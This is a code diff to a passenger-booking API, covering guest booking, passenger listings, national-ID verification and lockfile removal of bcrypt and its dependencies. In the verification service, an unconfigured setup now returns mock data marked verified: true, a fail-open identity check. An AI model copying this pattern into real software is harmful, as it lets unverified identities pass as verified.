@@ export class GuestBookingService { const booking = await this.prisma.booking.create({ data: { bookingRef: generateRef(), - passengerId: guestPassenger.id, + passengerId: guestPassengerId, scheduleId: dto.scheduleId, status: 'PENDING_PAYMENT', totalMinor, @@ -251,8 +213,6 @@ export class GuestBookingService { displayTotalMinor, bookingType: 'ONE_WAY', userAgent: dto.deviceId, - // contactEmail: firstPassenger.email, // Temporarily disabled until migration - // contactPhone: firstPassenger.phone, // Temporarily disabled until migration seats: { create: passengersData.map((p) => ({ seat: { connect: { id: p.seatId } }, @@ -282,7 +242,7 @@ export class GuestBookingService { return { ...booking, createdAccount, - userId, + iamUserId, fareBreakdown: { baseFareMinor, adultCount, @@ -307,10 +267,6 @@ export class GuestBookingService { throw new BadRequestException('Either userId or deviceId is required'); } - // Temporarily return empty array until Prisma client is regenerated - return []; - - /* Uncomment after running migration and prisma generate const profiles = await this.prisma.savedPassengerProfile.findMany({ where: { OR: [ @@ -325,14 +281,13 @@ export class GuestBookingService { passengerName: p.passengerName, dateOfBirth: p.dateOfBirth.toISOString().split('T')[0], idDocumentType: p.idDocumentType, - idDocumentNumber: undefined, // Never return sensitive data + idDocumentNumber: undefined, passportNumber: p.passportNumber || undefined, passportCountry: p.passportCountry || undefined, nationality: p.nationality || undefined, phone: p.phone || undefined, email: p.email || undefined, })); - */ } private async getBaseFare( @@ -376,6 +331,6 @@ export class GuestBookingService { if (match) return match.baseFareMinor; } - return 35000; // Default fallback + return 35000; } } diff --git a/apps/edr-passenger-api/src/modules/dashboard/dashboard.service.ts b/apps/edr-passenger-api/src/modules/dashboard/dashboard.service.ts index e104a507f..c21f9b210 100644 --- a/apps/edr-passenger-api/src/modules/dashboard/dashboard.service.ts +++ b/apps/edr-passenger-api/src/modules/dashboard/dashboard.service.ts @@ -27,7 +27,7 @@ export class DashboardService { const hour = now.getHours(); const greetingKey = hour < 12 ? 'MORNING' : hour < 17 ? 'AFTERNOON' : 'EVENING'; - const firstName = passenger?.user.fullName.split(' ')[0] ?? ''; + const firstName = passenger?.user?.fullName?.split(' ')[0] ?? ''; const seat = upcomingBooking?.seats[0]; return { diff --git a/apps/edr-passenger-api/src/modules/passengers/passengers.service.ts b/apps/edr-passenger-api/src/modules/passengers/passengers.service.ts index 520a642e7..6b8b34cf8 100644 --- a/apps/edr-passenger-api/src/modules/passengers/passengers.service.ts +++ b/apps/edr-passenger-api/src/modules/passengers/passengers.service.ts @@ -71,12 +71,12 @@ export class PassengersService { return { items: items.map(passenger => ({ id: passenger.id, - fullName: passenger.user.fullName, - email: passenger.user.email, - phone: passenger.user.phone, - nationalId: passenger.user.nationalId, - nationality: passenger.user.nationality, - verified: !!passenger.user.nationalId, + fullName: passenger.user?.fullName ?? null, + email: passenger.user?.email ?? null, + phone: passenger.user?.phone ?? null, + nationalId: passenger.user?.nationalId ?? null, + nationality: passenger.user?.nationality ?? null, + verified: !!passenger.user?.nationalId, loyaltyTier: passenger.loyalty?.tier || 'BRONZE', loyaltyPoints: passenger.loyalty?.pointsBalance || 0, totalBookings: passenger._count.bookings, @@ -103,9 +103,9 @@ export class PassengersService { if (!p) throw new NotFoundException('Passenger not found'); return { id: p.id, - fullName: p.user.fullName, - email: p.user.email, - phone: p.user.phone, + fullName: p.user?.fullName ?? null, + email: p.user?.email ?? null, + phone: p.user?.phone ?? null, createdAt: p.createdAt, bookings: p.bookings.map((b) => ({ id: b.id, bookingRef: b.bookingRef, status: b.status, totalFare: b.totalMinor / 100, createdAt: b.createdAt, diff --git a/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.ts b/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.ts index 4e2c34668..f088de8bd 100644 --- a/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.ts +++ b/apps/edr-passenger-api/src/modules/verifayda/verifayda.service.ts @@ -507,9 +507,8 @@ export class VerifaydaService { ): Promise { this.logger.log(`verifyNationalId called: stubEnabled=${this.stubEnabled}, type=${typeof this.stubEnabled}`); - if (this.stubEnabled != false || this.stubEnabled) { - this.logger.warn('Verifayda stub is disabled - returning mock data (development mode)'); - // In development mode, return mock verified data + if (!this.stubEnabled) { + this.logger.warn('Verifayda not configured — returning mock data (development mode)'); return { verified: true, passengerData: { diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 511d75426..1024a0f0a 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -183,9 +183,6 @@ importers: axios: specifier: ^1.7.7 version: 1.16.1 - bcrypt: - specifier: ^5.1.1 - version: 5.1.1 class-transformer: specifier: ^0.5.1 version: 0.5.1 @@ -238,9 +235,6 @@ importers: '@nestjs/testing': specifier: ^11.1.19 version: 11.1.23(@nestjs/common@11.1.23(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.23)(@nestjs/microservices@11.1.24)(@nestjs/platform-express@11.1.23) - '@types/bcrypt': - specifier: ^5.0.2 - version: 5.0.2 '@types/express': specifier: ^4.17.21 version: 4.17.25 @@ -1101,10 +1095,6 @@ packages: resolution: {integrity: sha512-Z7C/xXCiGWsg0KuKsHTKJxbWhpI3Vs5GwLfOean7MGyVFGqdRgBbAjOCh6u4bbjPc/8MJ2pZmK/0DLdCbivLDA==} engines: {node: '>=8'} - '@mapbox/node-pre-gyp@1.0.11': - resolution: {integrity: sha512-Yhlar6v9WQgUp/He7BdgzOz8lqMQ8sU+jkCq7Wx8Myc5YFJLbEe7lgui/V7G1qB1DJykHSGwreceSaD60Y0PUQ==} - hasBin: true - '@microsoft/tsdoc@0.15.1': resolution: {integrity: sha512-4aErSrCR/On/e5G2hDP0wjooqDdauzEbIq8hIkIe5pXV0rtWJZvdCEKL0ykZxex+IxIwBp0eGeV48hQN07dXtw==} @@ -1705,9 +1695,6 @@ packages: '@types/babel__traverse@7.28.0': resolution: {integrity: sha512-8PvcXf70gTDZBgt9ptxJ8elBeBjcLOAcOtoO/mPJjtji1+CdGbHgm77om1GrsPxsiE+uXIpNSK64UYaIwQXd4Q==} - '@types/bcrypt@5.0.2': - resolution: {integrity: sha512-6atioO8Y75fNcbmj0G7UjI9lXN2pQ/IGJ2FWT4a/btd0Lk9lQalHLKhkgKVZ3r+spnmWUKfbMi1GEe9wyHQfNQ==} - '@types/body-parser@1.19.6': resolution: {integrity: sha512-HLFeCYgz89uk22N5Qg3dvGvsv46B8GLvKKo1zKG4NybA8U2DiEO3w9lqGg29t/tfLRJpJ6iQxnVw4OnB7MoM9g==} @@ -2103,9 +2090,6 @@ packages: resolution: {integrity: sha512-E+iruNOY8VV9s4JEbe1aNEm6MiszPRr/UfcHMz0TQh1BXSxHK+ASV1R6W4HpjBhSeS+54PIsAMCBmwD06LLsqQ==} hasBin: true - abbrev@1.1.1: - resolution: {integrity: sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q==} - accepts@1.3.8: resolution: {integrity: sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==} engines: {node: '>= 0.6'} @@ -2356,9 +2340,6 @@ packages: append-field@1.0.0: resolution: {integrity: sha512-klpgFSWLW1ZEs8svjfb7g4qWY0YS5imI82dTg+QahUvJ8YqAY0P10Uk8tTyh9ZGuYEZEMaeJYCF5BFuX552hsw==} - aproba@2.1.0: - resolution: {integrity: sha512-tLIEcj5GuR2RSTnxNKdkK0dJ/GrC7P38sUkiDmDuHfsHmbagTFAxDVIBltoklXEVIQ/f14IL8IMJ5pn9Hez1Ew==} - archiver-utils@2.1.0: resolution: {integrity: sha512-bEL/yUb/fNNiNTuUz979Z0Yg5L+LzLxGJz8x79lYmR54fmTIb6ob/hNQgkQnIUDWIFjZVQwl9Xs356I6BAMHfw==} engines: {node: '>= 6'} @@ -2371,11 +2352,6 @@ packages: resolution: {integrity: sha512-+25nxyyznAXF7Nef3y0EbBeqmGZgeN/BxHX29Rs39djAfaFalmQ89SE6CWyDCHzGL0yt/ycBtNOmGTW0FyGWNw==} engines: {node: '>= 10'} - are-we-there-yet@2.0.0: - resolution: {integrity: sha512-Ci/qENmwHnsYo9xKIcUJN5LeDKdJ6R1Z1j9V/J5wyq8nh/mYPEpIKJbBZXtZjG04HiK7zV/p6Vs9952MrMeUIw==} - engines: {node: '>=10'} - deprecated: This package is no longer supported. - arg@4.1.3: resolution: {integrity: sha512-58S9QDqG0Xx27YwPSt9fJxivjYl432YCwfDMfZ+71RAqUrZef7LrKQZ3LHLOwCS4FLNBplP533Zx895SeOCHvA==} @@ -2557,10 +2533,6 @@ packages: engines: {node: '>=6.0.0'} hasBin: true - bcrypt@5.1.1: - resolution: {integrity: sha512-AGBHOG5hPYZ5Xl9KXzU5iKq9516yEmvCKDg3ecP5kX2aB6UqTeXZxk2ELnDgDm6BQSMlLt9rDB4LoSMx0rYwww==} - engines: {node: '>= 10.0.0'} - big-integer@1.6.52: resolution: {integrity: sha512-QxD8cf2eVqJOOz63z6JIN9BzvVs/dlySa5HGSBH5xtR8dPteIRQnBxxKqkNTiT6jbDTF6jAfrd4oMcND9RGbQg==} engines: {node: '>=0.6'} @@ -2729,10 +2701,6 @@ packages: resolution: {integrity: sha512-Qgzu8kfBvo+cA4962jnP1KkS6Dop5NS6g7R5LFYJr4b8Ub94PPQXUksCw9PvXoeXPRRddRNC5C1JQUR2SMGtnA==} engines: {node: '>= 14.16.0'} - chownr@2.0.0: - resolution: {integrity: sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ==} - engines: {node: '>=10'} - chrome-trace-event@1.0.4: resolution: {integrity: sha512-rNjApaLzuwaOTjCiT8lSDdGN1APCiqkChLMJxJPWLunPAt5fy8xgU9/jNOchV84wfIxrA0lRQB7oCT8jrn/wrQ==} engines: {node: '>=6.0'} @@ -2828,10 +2796,6 @@ packages: color-name@1.1.4: resolution: {integrity: sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==} - color-support@1.1.3: - resolution: {integrity: sha512-qiBjkpbMLO/HL68y+lh4q0/O1MZFj2RX6X/KmMa3+gJD3z+WwI1ZzDHysvqHGS3mP6mznPckpXmw1nI9cJjyRg==} - hasBin: true - colorette@2.0.20: resolution: {integrity: sha512-IfEDxwoWIjkeXL1eXcDiow4UbKjhLdq6/EuSVR9GMN7KVH3r9gQ83e73hsz1Nd1T3ijd5xv1wcWRYO+D6kCI2w==} @@ -2885,9 +2849,6 @@ packages: resolution: {integrity: sha512-5IKcdX0nnYavi6G7TtOhwkYzyjfJlatbjMjuLSfE2kYT5pMDOilZ4OvMhi637CcDICTmz3wARPoyhqyX1Y+XvA==} engines: {node: ^14.18.0 || >=16.10.0} - console-control-strings@1.1.0: - resolution: {integrity: sha512-ty/fTekppD2fIwRvnZAVdeOiGd1c7YXEixbgJTNzqcxJWKQnjJ/V1bNEEE6hygpM3WjwHFUVK6HTjWSzV4a8sQ==} - content-disposition@0.5.4: resolution: {integrity: sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==} engines: {node: '>= 0.6'} @@ -3181,9 +3142,6 @@ packages: resolution: {integrity: sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==} engines: {node: '>=0.4.0'} - delegates@1.0.0: - resolution: {integrity: sha512-bd2L678uiWATM6m5Z1VzNCErI3jiGzt6HGY8OVICs40JQq/HALfbyNJmp0UDakEY4pMMaN0Ly5om/B1VI/+xfQ==} - depd@2.0.0: resolution: {integrity: sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==} engines: {node: '>= 0.8'} @@ -3195,10 +3153,6 @@ packages: resolution: {integrity: sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==} engines: {node: '>= 0.8', npm: 1.2.8000 || >= 1.4.16} - detect-libc@2.1.2: - resolution: {integrity: sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==} - engines: {node: '>=8'} - detect-newline@3.1.0: resolution: {integrity: sha512-TLz+x/vEXm/Y7P7wn1EJFNLxYpUD4TgMosxY6fAVJUnJMbupHBOncxyWUG9OpTaH9EBD7uFI5LfEgmMOc54DsA==} engines: {node: '>=8'} @@ -3786,10 +3740,6 @@ packages: resolution: {integrity: sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==} engines: {node: '>=12'} - fs-minipass@2.1.0: - resolution: {integrity: sha512-V/JgOLFCS+R6Vcq0slCuaeWEdNC3ouDlJMNIsacH2VtALiu9mV4LPrHc5cDl8k5aw6J8jwgWWpiTo5RYhmIzvg==} - engines: {node: '>= 8'} - fs-monkey@1.1.0: resolution: {integrity: sha512-QMUezzXWII9EV5aTFXW1UBVUO77wYPpjqIF8/AviUCThNeSYZykpoTixUeaNNBwmCev0AMDWMAni+f8Hxb1IFw==} @@ -3816,11 +3766,6 @@ packages: functions-have-names@1.2.3: resolution: {integrity: sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==} - gauge@3.0.2: - resolution: {integrity: sha512-+5J6MS/5XksCuXq++uFRsnUd7Ovu1XenbeuIuNRJxYWjgQbPuFhT14lAvsWfqfAmnwluf1OwMjz39HjfLPci0Q==} - engines: {node: '>=10'} - deprecated: This package is no longer supported. - generator-function@2.0.1: resolution: {integrity: sha512-SFdFmIJi+ybC0vjlHN0ZGVGHc3lgE0DxPAT0djjVg+kjOnSqclqmj0KQ7ykTOLP6YxoqOvuAODGdcHJn+43q3g==} engines: {node: '>= 0.4'} @@ -3978,9 +3923,6 @@ packages: resolution: {integrity: sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==} engines: {node: '>= 0.4'} - has-unicode@2.0.1: - resolution: {integrity: sha512-8Rf9Y83NBReMnx0gFzA8JImQACstCYWUplepDa9xprwwtmgEZUF0h/i5xSA625zB/I37EtrswSST6OXxwaaIJQ==} - has-value@0.3.1: resolution: {integrity: sha512-gpG936j8/MzaeID5Yif+577c17TxaDmhuyVgSwtnL/q8UUTySg8Mecb+8Cf1otgLoD7DDH75axp86ER7LFsf3Q==} engines: {node: '>=0.10.0'} @@ -4886,10 +4828,6 @@ packages: magic-string@0.30.17: resolution: {integrity: sha512-sNPKHvyjVf7gyjwS4xGTaW/mCnF8wnjtifKBEhxfZ7E/S8tQ0rssrwGNn6q8JH/ohItJfSQp9mBtQYuTlH5QnA==} - make-dir@3.1.0: - resolution: {integrity: sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==} - engines: {node: '>=8'} - make-dir@4.0.0: resolution: {integrity: sha512-hXdUTZYIVOt1Ex//jAQi+wTZZpUpwBj/0QsOzqegb3rGMMeJiSEu5xLHnYfBrRV4RH2+OCSOO95Is/7x1WJ4bw==} engines: {node: '>=10'} @@ -5017,22 +4955,10 @@ packages: resolution: {integrity: sha512-xPrLjWkTT5E7H7VnzOjF//xBp9I40jYB4aWhb2xTFopXXfw+Wo82DDWngdUju7Doy3Wk7R8C4LAgwhLHHnf0wA==} engines: {node: ^16 || ^18 || >=20} - minipass@3.3.6: - resolution: {integrity: sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==} - engines: {node: '>=8'} - - minipass@5.0.0: - resolution: {integrity: sha512-3FnjYuehv9k6ovOEbyOswadCDPX1piCfhV8ncmYtHOjuPwylVWsghTLo7rabjC3Rx5xD4HDx8Wm1xnMF7S5qFQ==} - engines: {node: '>=8'} - minipass@7.1.3: resolution: {integrity: sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A==} engines: {node: '>=16 || 14 >=14.17'} - minizlib@2.1.2: - resolution: {integrity: sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg==} - engines: {node: '>= 8'} - mixin-deep@1.3.2: resolution: {integrity: sha512-WRoDn//mXBiJ1H40rqa3vH0toePwSsGb45iInWlTySa+Uu4k3tYUSxa2v1KqAiLtvlrSzaExqS1gtk96A9zvEA==} engines: {node: '>=0.10.0'} @@ -5046,11 +4972,6 @@ packages: resolution: {integrity: sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==} hasBin: true - mkdirp@1.0.4: - resolution: {integrity: sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==} - engines: {node: '>=10'} - hasBin: true - moment@2.30.1: resolution: {integrity: sha512-uEmtNhbDOrWPFS+hdjFCBfy9f2YoyzRpwcl+DqpC6taX21FzsTLQVbMV/W7PzNSX6x/bhC1zA3c2UQ5NzH6how==} @@ -5129,9 +5050,6 @@ packages: node-abort-controller@3.1.1: resolution: {integrity: sha512-AGK2yQKIjRuqnc6VkX2Xj5d+QW8xZ87pa1UK6yA6ouUyuxfHuMP6umE5QK7UmTeOAymo+Zx1Fxiuw9rVx8taHQ==} - node-addon-api@5.1.0: - resolution: {integrity: sha512-eh0GgfEkpnoWDq+VY8OyvYhFEzBk6jIYbRKdIlyTiAXIVJ8PyBaKb0rp7oDtoddbdoHWhq8wwr+XZ81F1rpNdA==} - node-addon-api@8.8.0: resolution: {integrity: sha512-c5Ko1fZJIJmzhFIkhRN76WTq+fC6tWnGy9CXA0fA+XygsWZmEwG8vmbkNqxMyoaa0Tin4djul49NzdVcJJcjeA==} engines: {node: ^18 || ^20 || >= 21} @@ -5146,15 +5064,6 @@ packages: node-fetch-native@1.6.7: resolution: {integrity: sha512-g9yhqoedzIUm0nTnTqAQvueMPVOuIY16bqgAJJC8XOOubYFNwz6IER9qs0Gq2Xd0+CecCKFjtdDTMA4u4xG06Q==} - node-fetch@2.7.0: - resolution: {integrity: sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==} - engines: {node: 4.x || >=6.0.0} - peerDependencies: - encoding: ^0.1.0 - peerDependenciesMeta: - encoding: - optional: true - node-gyp-build@4.8.4: resolution: {integrity: sha512-LA4ZjwlnUblHVgq0oBF3Jl/6h/Nvs5fzBLwdEF4nuxnFdsfajde4WfxtJr3CaiH+F6ewcIB/q4jQ4UzPyid+CQ==} hasBin: true @@ -5166,11 +5075,6 @@ packages: resolution: {integrity: sha512-iIbHXV9eBB2nB0wa7oTsrrXq+qQt+9SIlx9AX3T96YgobtEQfis5n6TJ6vV+3QP8DwdriEAcGhARaFCu37peBg==} engines: {node: '>=18'} - nopt@5.0.0: - resolution: {integrity: sha512-Tbj67rffqceeLpcRXrT7vKAN8CwfPeIBgM7E6iBkmKLV7bEMwpGgYLGv0jACUsECaa/vuxP0IjEont6umdMgtQ==} - engines: {node: '>=6'} - hasBin: true - normalize-path@3.0.0: resolution: {integrity: sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==} engines: {node: '>=0.10.0'} @@ -5183,10 +5087,6 @@ packages: resolution: {integrity: sha512-ppwTtiJZq0O/ai0z7yfudtBpWIoxM8yE6nHi1X47eFR2EWORqfbu6CnPlNsjeN683eT0qG6H/Pyf9fCcvjnnnQ==} engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0} - npmlog@5.0.1: - resolution: {integrity: sha512-AqZtDUWOMKs1G/8lwylVjrdYgqA4d9nu8hc+0gzRxlDb1I10+FHBGMXs6aiQHFdCUUlqH99MUMuLfzWDNDtfxw==} - deprecated: This package is no longer supported. - nypm@0.6.6: resolution: {integrity: sha512-vRyr0r4cbBapw07Xw8xrj9Teq3o7MUD35rSaTcanDbW+aK2XHDgJFiU6ZTj2GBw7Q12ysdsyFss+Vdz4hQ0Y6Q==} engines: {node: '>=18'} @@ -6249,11 +6149,6 @@ packages: resolution: {integrity: sha512-ujeqbceABgwMZxEJnk2HDY2DlnUZ+9oEcb1KzTVfYHio0UE6dG71n60d8D2I4qNvleWrrXpmjpt7vZeF1LnMZQ==} engines: {node: '>=6'} - tar@6.2.1: - resolution: {integrity: sha512-DZ4yORTwrbTj/7MZYq2w+/ZFdI6OZ/f9SFHR+71gIVUZhOQPHzVCLpvRnPgyaMpfWxxk/4ONva3GQSyNIKRv6A==} - engines: {node: '>=10'} - deprecated: Old versions of tar are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me - terser-webpack-plugin@5.6.0: resolution: {integrity: sha512-Eum+5ajkaOhf5KbM26osvv21kLD7BaGqQ1UA4Ami4arYwylmGUQTgHFpHDdmJod1q4QXa66p0to/FBKID+J1vA==} engines: {node: '>= 10.13.0'} @@ -6383,9 +6278,6 @@ packages: resolution: {integrity: sha512-dRXchy+C0IgK8WPC6xvCHFRIWYUbqqdEIKPaKo/AcTUNzwLTK6AH7RjdLWsEZcAN/TBdtfUw3PYEgPr5VPr6ww==} engines: {node: '>=14.16'} - tr46@0.0.3: - resolution: {integrity: sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw==} - traverse@0.3.9: resolution: {integrity: sha512-iawgk0hLP3SxGKDfnDJf8wTz4p2qImnyihM5Hh/sGvQ3K37dPi/w8sRhdNIxYA1TwFwc5mDhIJq+O0RsvXBKdQ==} @@ -6707,9 +6599,6 @@ packages: web-encoding@1.1.5: resolution: {integrity: sha512-HYLeVCdJ0+lBYV2FvNZmv3HJ2Nt0QYXqZojk3d9FJOLkwnuhzM9tmamh8d7HPM8QqjKH8DeHkFTx+CFlWpZZDA==} - webidl-conversions@3.0.1: - resolution: {integrity: sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ==} - webpack-node-externals@3.0.0: resolution: {integrity: sha512-LnL6Z3GGDPht/AigwRh2dvL9PQPFQ8skEpVrWZXLWBYmqcaojHNN0onvHzie6rq7EWKrrBfPYqNEzTJgiwEQDQ==} engines: {node: '>=6'} @@ -6728,9 +6617,6 @@ packages: webpack-cli: optional: true - whatwg-url@5.0.0: - resolution: {integrity: sha512-saE57nupxk6v3HY35+jzBwYa0rKSy0XR8JSxZPwgLr7ys0IBzhGviA1/TUGJLmSVqs8pb9AnvICXEuOHLprYTw==} - which-boxed-primitive@1.1.1: resolution: {integrity: sha512-TbX3mj8n0odCBFVlY8AxkqcHASw3L60jIuF8jFP78az3C2YhmGvqbHBpAjTRH2/xqYunrJ9g1jSyjCjpoWzIAA==} engines: {node: '>= 0.4'} @@ -6755,9 +6641,6 @@ packages: engines: {node: '>= 8'} hasBin: true - wide-align@1.1.5: - resolution: {integrity: sha512-eDMORYaPNZ4sQIuuYPDHdQvf4gyCF9rEEV/yPxGfwPkRodwEgiMUUXTx/dex+Me0wxx53S+NgUHaP7y3MGlDmg==} - winston-daily-rotate-file@1.7.2: resolution: {integrity: sha512-bUkpSyWuDZVD2L7Ci/JrH09sIeqpwhQvmDrIAJ9PhUaewIbv9FTDTCvFnE2AFIIfDcTm7+AKiEKK4EP5lRL3fg==} peerDependencies: @@ -6838,9 +6721,6 @@ packages: yallist@3.1.1: resolution: {integrity: sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==} - yallist@4.0.0: - resolution: {integrity: sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==} - yaml@2.9.0: resolution: {integrity: sha512-2AvhNX3mb8zd6Zy7INTtSpl1F15HW6Wnqj0srWlkKLcpYl/gMIMJiyuGq2KeI2YFxUPjdlB+3Lc10seMLtL4cA==} engines: {node: '>= 14.6'} @@ -7690,21 +7570,6 @@ snapshots: '@lukeed/csprng@1.1.0': {} - '@mapbox/node-pre-gyp@1.0.11': - dependencies: - detect-libc: 2.1.2 - https-proxy-agent: 5.0.1 - make-dir: 3.1.0 - node-fetch: 2.7.0 - nopt: 5.0.0 - npmlog: 5.0.1 - rimraf: 3.0.2 - semver: 7.8.1 - tar: 6.2.1 - transitivePeerDependencies: - - encoding - - supports-color - '@microsoft/tsdoc@0.15.1': {} '@microsoft/tsdoc@0.16.0': {} @@ -8422,10 +8287,6 @@ snapshots: dependencies: '@babel/types': 7.29.0 - '@types/bcrypt@5.0.2': - dependencies: - '@types/node': 20.19.41 - '@types/body-parser@1.19.6': dependencies: '@types/connect': 3.4.38 @@ -8861,8 +8722,6 @@ snapshots: jsonparse: 1.3.1 through: 2.3.8 - abbrev@1.1.1: {} - accepts@1.3.8: dependencies: mime-types: 2.1.35 @@ -9124,8 +8983,6 @@ snapshots: append-field@1.0.0: {} - aproba@2.1.0: {} - archiver-utils@2.1.0: dependencies: glob: 7.2.3 @@ -9162,11 +9019,6 @@ snapshots: tar-stream: 2.2.0 zip-stream: 4.1.1 - are-we-there-yet@2.0.0: - dependencies: - delegates: 1.0.0 - readable-stream: 3.6.2 - arg@4.1.3: {} arg@5.0.2: {} @@ -9404,14 +9256,6 @@ snapshots: baseline-browser-mapping@2.10.31: {} - bcrypt@5.1.1: - dependencies: - '@mapbox/node-pre-gyp': 1.0.11 - node-addon-api: 5.1.0 - transitivePeerDependencies: - - encoding - - supports-color - big-integer@1.6.52: {} binary-extensions@2.3.0: {} @@ -9632,8 +9476,6 @@ snapshots: dependencies: readdirp: 4.1.2 - chownr@2.0.0: {} - chrome-trace-event@1.0.4: {} ci-info@3.9.0: {} @@ -9725,8 +9567,6 @@ snapshots: color-name@1.1.4: {} - color-support@1.1.3: {} - colorette@2.0.20: {} colors@1.0.3: {} @@ -9777,8 +9617,6 @@ snapshots: consola@3.4.2: {} - console-control-strings@1.1.0: {} - content-disposition@0.5.4: dependencies: safe-buffer: 5.2.1 @@ -10033,16 +9871,12 @@ snapshots: delayed-stream@1.0.0: {} - delegates@1.0.0: {} - depd@2.0.0: {} destr@2.0.5: {} destroy@1.2.0: {} - detect-libc@2.1.2: {} - detect-newline@3.1.0: {} dezalgo@1.0.4: @@ -10862,10 +10696,6 @@ snapshots: jsonfile: 6.2.1 universalify: 2.0.1 - fs-minipass@2.1.0: - dependencies: - minipass: 3.3.6 - fs-monkey@1.1.0: {} fs.realpath@1.0.0: {} @@ -10893,18 +10723,6 @@ snapshots: functions-have-names@1.2.3: {} - gauge@3.0.2: - dependencies: - aproba: 2.1.0 - color-support: 1.1.3 - console-control-strings: 1.1.0 - has-unicode: 2.0.1 - object-assign: 4.1.1 - signal-exit: 3.0.7 - string-width: 4.2.3 - strip-ansi: 6.0.1 - wide-align: 1.1.5 - generator-function@2.0.1: {} gensync@1.0.0-beta.2: {} @@ -11106,8 +10924,6 @@ snapshots: dependencies: has-symbols: 1.1.0 - has-unicode@2.0.1: {} - has-value@0.3.1: dependencies: get-value: 2.0.6 @@ -11905,7 +11721,7 @@ snapshots: lodash.isstring: 4.0.1 lodash.once: 4.1.1 ms: 2.1.3 - semver: 7.8.1 + semver: 7.8.2 jsonwebtoken@9.0.3: dependencies: @@ -12191,10 +12007,6 @@ snapshots: dependencies: '@jridgewell/sourcemap-codec': 1.5.5 - make-dir@3.1.0: - dependencies: - semver: 6.3.1 - make-dir@4.0.0: dependencies: semver: 7.8.2 @@ -12315,19 +12127,8 @@ snapshots: xml: 1.0.1 xml2js: 0.5.0 - minipass@3.3.6: - dependencies: - yallist: 4.0.0 - - minipass@5.0.0: {} - minipass@7.1.3: {} - minizlib@2.1.2: - dependencies: - minipass: 3.3.6 - yallist: 4.0.0 - mixin-deep@1.3.2: dependencies: for-in: 1.0.2 @@ -12341,8 +12142,6 @@ snapshots: dependencies: minimist: 1.2.8 - mkdirp@1.0.4: {} - moment@2.30.1: {} ms@2.0.0: {} @@ -12440,8 +12239,6 @@ snapshots: node-abort-controller@3.1.1: {} - node-addon-api@5.1.0: {} - node-addon-api@8.8.0: {} 